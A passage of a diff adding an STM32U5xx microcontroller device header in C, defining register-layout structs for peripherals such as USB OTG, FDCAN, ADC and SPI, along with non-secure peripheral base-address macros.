/*!< Core USB Configuration Register, Address offset: 00Ch */ + __IO uint32_t GRSTCTL; /*!< Core Reset Register, Address offset: 010h */ + __IO uint32_t GINTSTS; /*!< Core Interrupt Register, Address offset: 014h */ + __IO uint32_t GINTMSK; /*!< Core Interrupt Mask Register, Address offset: 018h */ + __IO uint32_t GRXSTSR; /*!< Receive Sts Q Read Register, Address offset: 01Ch */ + __IO uint32_t GRXSTSP; /*!< Receive Sts Q Read & POP Register, Address offset: 020h */ + __IO uint32_t GRXFSIZ; /*!< Receive FIFO Size Register, Address offset: 024h */ + __IO uint32_t DIEPTXF0_HNPTXFSIZ; /*!< EP0 / Non Periodic Tx FIFO Size Register, Address offset: 028h */ + __IO uint32_t HNPTXSTS; /*!< Non Periodic Tx FIFO/Queue Sts reg, Address offset: 02Ch */ + __IO uint32_t Reserved30[2]; /*!< Reserved, Address offset: 030h */ + __IO uint32_t GCCFG; /*!< General Purpose IO Register, Address offset: 038h */ + __IO uint32_t CID; /*!< User ID Register, Address offset: 03Ch */ + __IO uint32_t GSNPSID; /*!< USB_OTG core ID, Address offset: 040h */ + __IO uint32_t GHWCFG1; /*!< User HW config1, Address offset: 044h */ + __IO uint32_t GHWCFG2; /*!< User HW config2, Address offset: 048h */ + __IO uint32_t GHWCFG3; /*!< User HW config3, Address offset: 04Ch */ + __IO uint32_t Reserved6; /*!< Reserved, Address offset: 050h */ + __IO uint32_t GLPMCFG; /*!< LPM Register, Address offset: 054h */ + __IO uint32_t GPWRDN; /*!< Power Down Register, Address offset: 058h */ + __IO uint32_t GDFIFOCFG; /*!< DFIFO Software Config Register, Address offset: 05Ch */ + __IO uint32_t GADPCTL; /*!< ADP Timer, Control and Status Register, Address offset: 60Ch */ + __IO uint32_t Reserved43[39]; /*!< Reserved, Address offset: 058h */ + __IO uint32_t HPTXFSIZ; /*!< Host Periodic Tx FIFO Size Reg, Address offset: 100h */ + __IO uint32_t DIEPTXF[0x0F]; /*!< dev Periodic Transmit FIFO Address offset: 104h */ +} USB_OTG_GlobalTypeDef; + +/** + * @brief USB_OTG_device_Registers + */ +typedef struct +{ + __IO uint32_t DCFG; /*!< dev Configuration Register, Address offset: 800h */ + __IO uint32_t DCTL; /*!< dev Control Register, Address offset: 804h */ + __IO uint32_t DSTS; /*!< dev Status Register (RO), Address offset: 808h */ + uint32_t Reserved0C; /*!< Reserved, Address offset: 80Ch */ + __IO uint32_t DIEPMSK; /*!< dev IN Endpoint Mask, Address offset: 810h */ + __IO uint32_t DOEPMSK; /*!< dev OUT Endpoint Mask, Address offset: 814h */ + __IO uint32_t DAINT; /*!< dev All Endpoints Itr Reg, Address offset: 818h */ + __IO uint32_t DAINTMSK; /*!< dev All Endpoints Itr Mask, Address offset: 81Ch */ + uint32_t Reserved20; /*!< Reserved, Address offset: 820h */ + uint32_t Reserved9; /*!< Reserved, Address offset: 824h */ + __IO uint32_t DVBUSDIS; /*!< dev VBUS discharge Register, Address offset: 828h */ + __IO uint32_t DVBUSPULSE; /*!< dev VBUS Pulse Register, Address offset: 82Ch */ + __IO uint32_t DTHRCTL; /*!< dev threshold, Address offset: 830h */ + __IO uint32_t DIEPEMPMSK; /*!< dev empty msk, Address offset: 834h */ + __IO uint32_t DEACHINT; /*!< dedicated EP interrupt, Address offset: 838h */ + __IO uint32_t DEACHMSK; /*!< dedicated EP msk, Address offset: 83Ch */ + uint32_t Reserved40; /*!< dedicated EP mask, Address offset: 840h */ + __IO uint32_t DINEP1MSK; /*!< dedicated EP mask, Address offset: 844h */ + uint32_t Reserved44[15]; /*!< Reserved, Address offset: 844-87Ch */ + __IO uint32_t DOUTEP1MSK; /*!< dedicated EP msk, Address offset: 884h */ +} USB_OTG_DeviceTypeDef; + + +/** + * @brief USB_OTG_IN_Endpoint-Specific_Register + */ +typedef struct +{ + __IO uint32_t DIEPCTL; /*!< dev IN Endpoint Control Register, Address offset: 900h + (ep_num * 20h) + 00h */ + __IO uint32_t Reserved04; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 04h */ + __IO uint32_t DIEPINT; /*!< dev IN Endpoint Itr Register, Address offset: 900h + (ep_num * 20h) + 08h */ + __IO uint32_t Reserved0C; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 0Ch */ + __IO uint32_t DIEPTSIZ; /*!< IN Endpoint Txfer Size Register, Address offset: 900h + (ep_num * 20h) + 10h */ + __IO uint32_t DIEPDMA; /*!< IN Endpoint DMA Address Register, Address offset: 900h + (ep_num * 20h) + 14h */ + __IO uint32_t DTXFSTS; /*!< IN Endpoint Tx FIFO Status Register, Address offset: 900h + (ep_num * 20h) + 18h */ + __IO uint32_t Reserved18; /*!< Reserved, Address offset: 900h + (ep_num * 20h) + 1Ch */ +} USB_OTG_INEndpointTypeDef; + +/** + * @brief USB_OTG_OUT_Endpoint-Specific_Registers + */ +typedef struct +{ + __IO uint32_t DOEPCTL; /*!< dev OUT Endpoint Control Register, Address offset: B00h + (ep_num * 20h) + 00h */ + __IO uint32_t Reserved04; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 04h */ + __IO uint32_t DOEPINT; /*!< dev OUT Endpoint Itr Register, Address offset: B00h + (ep_num * 20h) + 08h */ + __IO uint32_t Reserved0C; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 0Ch */ + __IO uint32_t DOEPTSIZ; /*!< dev OUT Endpoint Txfer Size Register, Address offset: B00h + (ep_num * 20h) + 10h */ + __IO uint32_t DOEPDMA; /*!< dev OUT Endpoint DMA Address Register, Address offset: B00h + (ep_num * 20h) + 14h */ + __IO uint32_t Reserved18[2]; /*!< Reserved, Address offset: B00h + (ep_num * 20h) + 18h */ +} USB_OTG_OUTEndpointTypeDef; + +/** + * @brief USB_OTG_Host_Mode_Register_Structures + */ +typedef struct +{ + __IO uint32_t HCFG; /*!< Host Configuration Register, Address offset: 400h */ + __IO uint32_t HFIR; /*!< Host Frame Interval Register, Address offset: 404h */ + __IO uint32_t HFNUM; /*!< Host Frame Nbr/Frame Remaining, Address offset: 408h */ + uint32_t Reserved40C; /*!< Reserved, Address offset: 40Ch */ + __IO uint32_t HPTXSTS; /*!< Host Periodic Tx FIFO/ Queue Status, Address offset: 410h */ + __IO uint32_t HAINT; /*!< Host All Channels Interrupt Register, Address offset: 414h */ + __IO uint32_t HAINTMSK; /*!< Host All Channels Interrupt Mask, Address offset: 418h */ +} USB_OTG_HostTypeDef; + +/** + * @brief USB_OTG_Host_Channel_Specific_Registers + */ +typedef struct +{ + __IO uint32_t HCCHAR; /*!< Host Channel Characteristics Register, Address offset: 500h */ + __IO uint32_t HCSPLT; /*!< Host Channel Split Control Register, Address offset: 504h */ + __IO uint32_t HCINT; /*!< Host Channel Interrupt Register, Address offset: 508h */ + __IO uint32_t HCINTMSK; /*!< Host Channel Interrupt Mask Register, Address offset: 50Ch */ + __IO uint32_t HCTSIZ; /*!< Host Channel Transfer Size Register, Address offset: 510h */ + __IO uint32_t HCDMA; /*!< Host Channel DMA Address Register, Address offset: 514h */ + uint32_t Reserved[2]; /*!< Reserved, Address offset: 518h */ +} USB_OTG_HostChannelTypeDef; + +/** + * @brief FD Controller Area Network + */ +typedef struct +{ + __IO uint32_t CREL; /*!< FDCAN Core Release register, Address offset: 0x000 */ + __IO uint32_t ENDN; /*!< FDCAN Endian register, Address offset: 0x004 */ + uint32_t RESERVED1; /*!< Reserved, 0x008 */ + __IO uint32_t DBTP; /*!< FDCAN Data Bit Timing & Prescaler register, Address offset: 0x00C */ + __IO uint32_t TEST; /*!< FDCAN Test register, Address offset: 0x010 */ + __IO uint32_t RWD; /*!< FDCAN RAM Watchdog register, Address offset: 0x014 */ + __IO uint32_t CCCR; /*!< FDCAN CC Control register, Address offset: 0x018 */ + __IO uint32_t NBTP; /*!< FDCAN Nominal Bit Timing & Prescaler register, Address offset: 0x01C */ + __IO uint32_t TSCC; /*!< FDCAN Timestamp Counter Configuration register, Address offset: 0x020 */ + __IO uint32_t TSCV; /*!< FDCAN Timestamp Counter Value register, Address offset: 0x024 */ + __IO uint32_t TOCC; /*!< FDCAN Timeout Counter Configuration register, Address offset: 0x028 */ + __IO uint32_t TOCV; /*!< FDCAN Timeout Counter Value register, Address offset: 0x02C */ + uint32_t RESERVED2[4]; /*!< Reserved, 0x030 - 0x03C */ + __IO uint32_t ECR; /*!< FDCAN Error Counter register, Address offset: 0x040 */ + __IO uint32_t PSR; /*!< FDCAN Protocol Status register, Address offset: 0x044 */ + __IO uint32_t TDCR; /*!< FDCAN Transmitter Delay Compensation register, Address offset: 0x048 */ + uint32_t RESERVED3; /*!< Reserved, 0x04C */ + __IO uint32_t IR; /*!< FDCAN Interrupt register, Address offset: 0x050 */ + __IO uint32_t IE; /*!< FDCAN Interrupt Enable register, Address offset: 0x054 */ + __IO uint32_t ILS; /*!< FDCAN Interrupt Line Select register, Address offset: 0x058 */ + __IO uint32_t ILE; /*!< FDCAN Interrupt Line Enable register, Address offset: 0x05C */ + uint32_t RESERVED4[8]; /*!< Reserved, 0x060 - 0x07C */ + __IO uint32_t RXGFC; /*!< FDCAN Global Filter Configuration register, Address offset: 0x080 */ + __IO uint32_t XIDAM; /*!< FDCAN Extended ID AND Mask register, Address offset: 0x084 */ + __IO uint32_t HPMS; /*!< FDCAN High Priority Message Status register, Address offset: 0x088 */ + uint32_t RESERVED5; /*!< Reserved, 0x08C */ + __IO uint32_t RXF0S; /*!< FDCAN Rx FIFO 0 Status register, Address offset: 0x090 */ + __IO uint32_t RXF0A; /*!< FDCAN Rx FIFO 0 Acknowledge register, Address offset: 0x094 */ + __IO uint32_t RXF1S; /*!< FDCAN Rx FIFO 1 Status register, Address offset: 0x098 */ + __IO uint32_t RXF1A; /*!< FDCAN Rx FIFO 1 Acknowledge register, Address offset: 0x09C */ + uint32_t RESERVED6[8]; /*!< Reserved, 0x0A0 - 0x0BC */ + __IO uint32_t TXBC; /*!< FDCAN Tx Buffer Configuration register, Address offset: 0x0C0 */ + __IO uint32_t TXFQS; /*!< FDCAN Tx FIFO/Queue Status register, Address offset: 0x0C4 */ + __IO uint32_t TXBRP; /*!< FDCAN Tx Buffer Request Pending register, Address offset: 0x0C8 */ + __IO uint32_t TXBAR; /*!< FDCAN Tx Buffer Add Request register, Address offset: 0x0CC */ + __IO uint32_t TXBCR; /*!< FDCAN Tx Buffer Cancellation Request register, Address offset: 0x0D0 */ + __IO uint32_t TXBTO; /*!< FDCAN Tx Buffer Transmission Occurred register, Address offset: 0x0D4 */ + __IO uint32_t TXBCF; /*!< FDCAN Tx Buffer Cancellation Finished register, Address offset: 0x0D8 */ + __IO uint32_t TXBTIE; /*!< FDCAN Tx Buffer Transmission Interrupt Enable register, Address offset: 0x0DC */ + __IO uint32_t TXBCIE; /*!< FDCAN Tx Buffer Cancellation Finished Interrupt Enable register, Address offset: 0x0E0 */ + __IO uint32_t TXEFS; /*!< FDCAN Tx Event FIFO Status register, Address offset: 0x0E4 */ + __IO uint32_t TXEFA; /*!< FDCAN Tx Event FIFO Acknowledge register, Address offset: 0x0E8 */ +} FDCAN_GlobalTypeDef; + +/** + * @brief FD Controller Area Network Configuration + */ +typedef struct +{ + __IO uint32_t CKDIV; /*!< FDCAN clock divider register, Address offset: 0x100 + 0x000 */ + uint32_t RESERVED1[128];/*!< Reserved, 0x100 + 0x004 - 0x100 + 0x200 */ + __IO uint32_t OPTR; /*!< FDCAN option register, Address offset: 0x100 + 0x204 */ + uint32_t RESERVED2[58];/*!< Reserved, 0x100 + 0x208 - 0x100 + 0x2EC */ + __IO uint32_t HWCFG; /*!< FDCAN hardware configuration register, Address offset: 0x100 + 0x2F0 */ + __IO uint32_t VERR; /*!< FDCAN IP version register, Address offset: 0x100 + 0x2F4 */ + __IO uint32_t IPIDR; /*!< FDCAN IP ID register, Address offset: 0x100 + 0x2F8 */ + __IO uint32_t SIDR; /*!< FDCAN size ID register, Address offset: 0x100 + 0x2FC */ +} FDCAN_Config_TypeDef; + +/** + * @brief Flexible Memory Controller + */ +typedef struct +{ + __IO uint32_t BTCR[8]; /*!< NOR/PSRAM chip-select control register(BCR) and chip-select timing register(BTR), Address offset: 0x00-1C */ + __IO uint32_t PCSCNTR; /*!< PSRAM chip-select counter register, Address offset: 0x20 */ +} FMC_Bank1_TypeDef; + +/** + * @brief Flexible Memory Controller Bank1E + */ +typedef struct +{ + __IO uint32_t BWTR[7]; /*!< NOR/PSRAM write timing registers, Address offset: 0x104-0x11C */ +} FMC_Bank1E_TypeDef; + +/** + * @brief Flexible Memory Controller Bank3 + */ +typedef struct +{ + __IO uint32_t PCR; /*!< NAND Flash control register, Address offset: 0x80 */ + __IO uint32_t SR; /*!< NAND Flash FIFO status and interrupt register, Address offset: 0x84 */ + __IO uint32_t PMEM; /*!< NAND Flash Common memory space timing register, Address offset: 0x88 */ + __IO uint32_t PATT; /*!< NAND Flash Attribute memory space timing register, Address offset: 0x8C */ + uint32_t RESERVED0; /*!< Reserved, 0x90 */ + __IO uint32_t ECCR; /*!< NAND Flash ECC result registers, Address offset: 0x94 */ +} FMC_Bank3_TypeDef; + +/** + * @brief VREFBUF + */ +typedef struct +{ + __IO uint32_t CSR; /*!< VREFBUF control and status register, Address offset: 0x00 */ + __IO uint32_t CCR; /*!< VREFBUF calibration and control register, Address offset: 0x04 */ +} VREFBUF_TypeDef; + +/** + * @brief ADC + */ +typedef struct +{ + __IO uint32_t ISR; /*!< ADC Interrupt and Status Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< ADC Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< ADC control register, Address offset: 0x08 */ + __IO uint32_t CFGR1; /*!< ADC Configuration register, Address offset: 0x0C */ + __IO uint32_t CFGR2; /*!< ADC Configuration register 2, Address offset: 0x10 */ + __IO uint32_t SMPR1; /*!< ADC sample time register 1, Address offset: 0x14 */ + __IO uint32_t SMPR2; /*!< ADC sample time register 2, Address offset: 0x18 */ /* Specific to ADC 14Bits*/ + __IO uint32_t PCSEL; /*!< ADC pre-channel selection, Address offset: 0x1C */ + __IO uint32_t AWD1TR; /*!< ADC watchdog threshold register, Address offset: 0x20 */ /* Specific to ADC 12Bits*/ + __IO uint32_t AWD2TR; /*!< ADC watchdog threshold register, Address offset: 0x24 */ /* Specific to ADC 12Bits*/ + __IO uint32_t CHSELR; /*!< ADC channel select register, Address offset: 0x28 */ /* Specific to ADC 12Bits*/ + __IO uint32_t AWD3TR; /*!< ADC watchdog threshold register, Address offset: 0x2C */ /* Specific to ADC 12Bits*/ + __IO uint32_t SQR1; /*!< ADC regular sequence register 1, Address offset: 0x30 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR2; /*!< ADC regular sequence register 2, Address offset: 0x34 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR3; /*!< ADC regular sequence register 3, Address offset: 0x38 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR4; /*!< ADC regular sequence register 4, Address offset: 0x3C */ /* Specific to ADC 14Bits*/ + __IO uint32_t DR; /*!< ADC regular data register, Address offset: 0x40 */ + __IO uint32_t PWRR; /*!< ADC power register, Address offset: 0x44 */ + uint32_t RESERVED1; /*!< Reserved, 0x048 */ + __IO uint32_t JSQR; /*!< ADC injected sequence register, Address offset: 0x4C */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED2[4]; /*!< Reserved, 0x050 - 0x05C */ + __IO uint32_t OFR1; /*!< ADC offset register 1, Address offset: 0x60 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR2; /*!< ADC offset register 2, Address offset: 0x64 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR3; /*!< ADC offset register 3, Address offset: 0x68 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR4; /*!< ADC offset register 4, Address offset: 0x6C */ /* Specific to ADC 14Bits*/ + __IO uint32_t GCOMP; /*!< ADC gain compensation register, Address offset: 0x70 */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED3[3]; /*!< Reserved, 0x074 - 0x07C */ + __IO uint32_t JDR1; /*!< ADC injected data register 1, Address offset: 0x80 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR2; /*!< ADC injected data register 2, Address offset: 0x84 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR3; /*!< ADC injected data register 3, Address offset: 0x88 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR4; /*!< ADC injected data register 4, Address offset: 0x8C */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED4[4]; /*!< Reserved, 0x090 - 0x09C */ + __IO uint32_t AWD2CR; /*!< ADC Analog Watchdog 2 Configuration Register, Address offset: 0xA0 */ + __IO uint32_t AWD3CR; /*!< ADC Analog Watchdog 3 Configuration Register, Address offset: 0xA4 */ + __IO uint32_t LTR1; /*!< ADC watchdog Lower threshold register 1, Address offset: 0xA8 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR1; /*!< ADC watchdog higher threshold register 1, Address offset: 0xAC */ /* Specific to ADC 14Bits*/ + __IO uint32_t LTR2; /*!< ADC watchdog Lower threshold register 2, Address offset: 0xB0 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR2; /*!< ADC watchdog Higher threshold register 2, Address offset: 0xB4 */ /* Specific to ADC 14Bits*/ + __IO uint32_t LTR3; /*!< ADC watchdog Lower threshold register 3, Address offset: 0xB8 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR3; /*!< ADC watchdog Higher threshold register 3, Address offset: 0xBC */ /* Specific to ADC 14Bits*/ + __IO uint32_t DIFSEL; /*!< ADC Differential Mode Selection Register, Address offset: 0xC0 */ /* Specific to ADC 14Bits*/ + __IO uint32_t CALFACT; /*!< ADC Calibration Factors, Address offset: 0xC4 */ + __IO uint32_t CALFACT2; /*!< ADC Linearity Calibration Factors, Address offset: 0xC8 */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED5; /*!< Reserved, 0x0CC */ + __IO uint32_t OR; /*!< ADC Option Register, Address offset: 0xD0 */ /* Specific to ADC 12Bits*/ +} ADC_TypeDef; + +typedef struct +{ + __IO uint32_t CSR; /*!< ADC common status register, Address offset: 0x300 */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x304 */ + __IO uint32_t CCR; /*!< ADC common control register, Address offset: 0x308 */ + __IO uint32_t CDR; /*!< ADC common regular data register for dual mode, Address offset: 0x30C */ + __IO uint32_t CDR2; /*!< ADC common regular data register for 32-bit dual mode, Address offset: 0x310 */ +} ADC_Common_TypeDef; + + +/* Legacy registers naming */ +#define PW PWRR + +/** + * @brief CORDIC + */ +typedef struct +{ + __IO uint32_t CSR; /*!< CORDIC control and status register, Address offset: 0x00 */ + __IO uint32_t WDATA; /*!< CORDIC argument register, Address offset: 0x04 */ + __IO uint32_t RDATA; /*!< CORDIC result register, Address offset: 0x08 */ +} CORDIC_TypeDef; + +/** + * @brief IWDG + */ +typedef struct +{ + __IO uint32_t KR; /*!< IWDG Key register, Address offset: 0x00 */ + __IO uint32_t PR; /*!< IWDG Prescaler register, Address offset: 0x04 */ + __IO uint32_t RLR; /*!< IWDG Reload register, Address offset: 0x08 */ + __IO uint32_t SR; /*!< IWDG Status register, Address offset: 0x0C */ + __IO uint32_t WINR; /*!< IWDG Window register, Address offset: 0x10 */ + __IO uint32_t EWCR; /*!< IWDG Early Wakeup register, Address offset: 0x14 */ +} IWDG_TypeDef; + +/** + * @brief SPI + */ +typedef struct +{ + __IO uint32_t CR1; /*!< SPI/I2S Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< SPI Control register 2, Address offset: 0x04 */ + __IO uint32_t CFG1; /*!< SPI Configuration register 1, Address offset: 0x08 */ + __IO uint32_t CFG2; /*!< SPI Configuration register 2, Address offset: 0x0C */ + __IO uint32_t IER; /*!< SPI Interrupt Enable register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< SPI Status register, Address offset: 0x14 */ + __IO uint32_t IFCR; /*!< SPI Interrupt/Status Flags Clear register, Address offset: 0x18 */ + __IO uint32_t AUTOCR; /*!< SPI Autonomous Mode Control register, Address offset: 0x1C */ + __IO uint32_t TXDR; /*!< SPI Transmit data register, Address offset: 0x20 */ + uint32_t RESERVED1[3]; /*!< Reserved, 0x24-0x2C */ + __IO uint32_t RXDR; /*!< SPI/I2S data register, Address offset: 0x30 */ + uint32_t RESERVED2[3]; /*!< Reserved, 0x34-0x3C */ + __IO uint32_t CRCPOLY; /*!< SPI CRC Polynomial register, Address offset: 0x40 */ + __IO uint32_t TXCRC; /*!< SPI Transmitter CRC register, Address offset: 0x44 */ + __IO uint32_t RXCRC; /*!< SPI Receiver CRC register, Address offset: 0x48 */ + __IO uint32_t UDRDR; /*!< SPI Underrun data register, Address offset: 0x4C */ +} SPI_TypeDef; + +/** + * @brief Touch Sensing Controller (TSC) + */ + +typedef struct +{ + __IO uint32_t CR; /*!< TSC control register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< TSC interrupt enable register, Address offset: 0x04 */ + __IO uint32_t ICR; /*!< TSC interrupt clear register, Address offset: 0x08 */ + __IO uint32_t ISR; /*!< TSC interrupt status register, Address offset: 0x0C */ + __IO uint32_t IOHCR; /*!< TSC I/O hysteresis control register, Address offset: 0x10 */ + uint32_t RESERVED1; /*!< Reserved, Address offset: 0x14 */ + __IO uint32_t IOASCR; /*!< TSC I/O analog switch control register, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved, Address offset: 0x1C */ + __IO uint32_t IOSCR; /*!< TSC I/O sampling control register, Address offset: 0x20 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x24 */ + __IO uint32_t IOCCR; /*!< TSC I/O channel control register, Address offset: 0x28 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x2C */ + __IO uint32_t IOGCSR; /*!< TSC I/O group control status register, Address offset: 0x30 */ + __IO uint32_t IOGXCR[8]; /*!< TSC I/O group x counter register, Address offset: 0x34-50 */ +} TSC_TypeDef; + +/** + * @brief WWDG + */ +typedef struct +{ + __IO uint32_t CR; /*!< WWDG Control register, Address offset: 0x00 */ + __IO uint32_t CFR; /*!< WWDG Configuration register, Address offset: 0x04 */ + __IO uint32_t SR; /*!< WWDG Status register, Address offset: 0x08 */ +} WWDG_TypeDef; + +/*@}*/ /* end of group STM32U5xx_peripherals */ + + +/* -------- End of section using anonymous unions and disabling warnings -------- */ +#if defined (__CC_ARM) + #pragma pop +#elif defined (__ICCARM__) + /* leave anonymous unions enabled */ +#elif defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050) + #pragma clang diagnostic pop +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning restore +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Address Map ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_Peripheral_peripheralAddr + * @{ + */ + +/* Internal SRAMs size */ +#define SRAM1_SIZE (0xC0000UL) /*!< SRAM1=768k */ +#define SRAM2_SIZE (0x10000UL) /*!< SRAM2=64k */ +#define SRAM3_SIZE (0xD0000UL) /*!< SRAM3=832k */ +#define SRAM4_SIZE (0x04000UL) /*!< SRAM4=16k */ +#define SRAM5_SIZE (0xD0000UL) /*!< SRAM5=832k */ +#define SRAM6_SIZE (0x80000UL) /*!< SRAM6=512k */ + +/* External memories base addresses - Not aliased */ +#define FMC_BASE (0x60000000UL) /*!< FMC base address */ +#define OCTOSPI2_BASE (0x70000000UL) /*!< OCTOSPI2 memories accessible over AHB base address */ +#define OCTOSPI1_BASE (0x90000000UL) /*!< OCTOSPI1 memories accessible over AHB base address */ +#define HSPI1_BASE (0xA0000000UL) /*!< HSPI1 memories accessible over AHB base address */ + +#define FMC_BANK1 FMC_BASE +#define FMC_BANK1_1 FMC_BANK1 +#define FMC_BANK1_2 (FMC_BANK1 + 0x04000000UL) +#define FMC_BANK1_3 (FMC_BANK1 + 0x08000000UL) +#define FMC_BANK1_4 (FMC_BANK1 + 0x0C000000UL) +#define FMC_BANK3 (FMC_BASE + 0x20000000UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Non secure */ +#define FLASH_BASE_NS (0x08000000UL) /*!< FLASH (4 MB) non-secure base address */ +#define SRAM1_BASE_NS (0x20000000UL) /*!< SRAM1 (768 KB) non-secure base address */ +#define SRAM2_BASE_NS (0x200C0000UL) /*!< SRAM2 (64 KB) non-secure base address */ +#define SRAM3_BASE_NS (0x200D0000UL) /*!< SRAM3 (832 KB) non-secure base address */ +#define SRAM4_BASE_NS (0x28000000UL) /*!< SRAM4 (16 KB) non-secure base address */ +#define SRAM5_BASE_NS (0x201A0000UL) /*!< SRAM5 (832 KB) non-secure base address */ +#define SRAM6_BASE_NS (0x20270000UL) /*!< SRAM6 (512 KB) non-secure base address */ +#define PERIPH_BASE_NS (0x40000000UL) /*!< Peripheral non-secure base address */ + +/* Peripheral memory map - Non secure */ +#define APB1PERIPH_BASE_NS PERIPH_BASE_NS +#define APB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00010000UL) +#define AHB1PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00020000UL) +#define AHB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x02020000UL) +#define APB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06000000UL) +#define AHB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06020000UL) + +/*!< APB1 Non secure peripherals */ +#define TIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x0000UL) +#define TIM3_BASE_NS (APB1PERIPH_BASE_NS + 0x0400UL) +#define TIM4_BASE_NS (APB1PERIPH_BASE_NS + 0x0800UL) +#define TIM5_BASE_NS (APB1PERIPH_BASE_NS + 0x0C00UL) +#define TIM6_BASE_NS (APB1PERIPH_BASE_NS + 0x1000UL) +#define TIM7_BASE_NS (APB1PERIPH_BASE_NS + 0x1400UL) +#define WWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x2C00UL) +#define IWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x3000UL) +#define SPI2_BASE_NS (APB1PERIPH_BASE_NS + 0x3800UL) +#define USART2_BASE_NS (APB1PERIPH_BASE_NS + 0x4400UL) +#define USART3_BASE_NS (APB1PERIPH_BASE_NS + 0x4800UL) +#define UART4_BASE_NS (APB1PERIPH_BASE_NS + 0x4C00UL) +#define UART5_BASE_NS (APB1PERIPH_BASE_NS + 0x5000UL) +#define I2C1_BASE_NS (APB1PERIPH_BASE_NS + 0x5400UL) +#define I2C2_BASE_NS (APB1PERIPH_BASE_NS + 0x5800UL) +#define CRS_BASE_NS (APB1PERIPH_BASE_NS + 0x6000UL) +#define USART6_BASE_NS (APB1PERIPH_BASE_NS + 0x6400UL) +#define I2C4_BASE_NS (APB1PERIPH_BASE_NS + 0x8400UL) +#define LPTIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x9400UL) +#define I2C5_BASE_NS (APB1PERIPH_BASE_NS + 0x9800UL) +#define I2C6_BASE_NS (APB1PERIPH_BASE_NS + 0x9C00UL) +#define FDCAN1_BASE_NS (APB1PERIPH_BASE_NS + 0xA400UL) +#define FDCAN_CONFIG_BASE_NS (APB1PERIPH_BASE_NS + 0xA500UL) +#define SRAMCAN_BASE_NS (APB1PERIPH_BASE_NS + 0xAC00UL) +#define UCPD1_BASE_NS (APB1PERIPH_BASE_NS + 0xDC00UL) + +/*!< APB2 Non secure peripherals */ +#define TIM1_BASE_NS (APB2PERIPH_BASE_NS + 0x2C00UL) +#define SPI1_BASE_NS (APB2PERIPH_BASE_NS + 0x3000UL) +#define TIM8_BASE_NS (APB2PERIPH_BASE_NS + 0x3400UL) +#define USART1_BASE_NS (APB2PERIPH_BASE_NS + 0x3800UL) +#define TIM15_BASE_NS (APB2PERIPH_BASE_NS + 0x4000UL) +#define TIM16_BASE_NS (APB2PERIPH_BASE_NS + 0x4400UL) +#define TIM17_BASE_NS (APB2PERIPH_BASE_NS + 0x4800UL) +#define SAI1_BASE_NS (APB2PERIPH_BASE_NS + 0x5400UL) +#define SAI1_Block_A_BASE_NS (SAI1_BASE_NS + 0x004UL) +#define SAI1_Block_B_BASE_NS (SAI1_BASE_NS + 0x024UL) +#define SAI2_BASE_NS (APB2PERIPH_BASE_NS + 0x5800UL) +#define SAI2_Block_A_BASE_NS (SAI2_BASE_NS + 0x004UL) +#define SAI2_Block_B_BASE_NS (SAI2_BASE_NS + 0x024UL) +#define LTDC_BASE_NS (APB2PERIPH_BASE_NS + 0x6800UL) +#define LTDC_Layer1_BASE_NS (LTDC_BASE_NS + 0x0084UL) +#define LTDC_Layer2_BASE_NS (LTDC_BASE_NS + 0x0104UL) +#define GFXTIM_BASE_NS (APB2PERIPH_BASE_NS + 0x6400UL) + +/*!< APB3 Non secure peripherals */ +#define SYSCFG_BASE_NS (APB3PERIPH_BASE_NS + 0x0400UL) +#define SPI3_BASE_NS (APB3PERIPH_BASE_NS + 0x2000UL) +#define LPUART1_BASE_NS (APB3PERIPH_BASE_NS + 0x2400UL) +#define I2C3_BASE_NS (APB3PERIPH_BASE_NS + 0x2800UL) +#define LPTIM1_BASE_NS (APB3PERIPH_BASE_NS + 0x4400UL) +#define LPTIM3_BASE_NS (APB3PERIPH_BASE_NS + 0x4800UL) +#define LPTIM4_BASE_NS (APB3PERIPH_BASE_NS + 0x4C00UL) +#define OPAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define OPAMP1_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define OPAMP2_BASE_NS (APB3PERIPH_BASE_NS 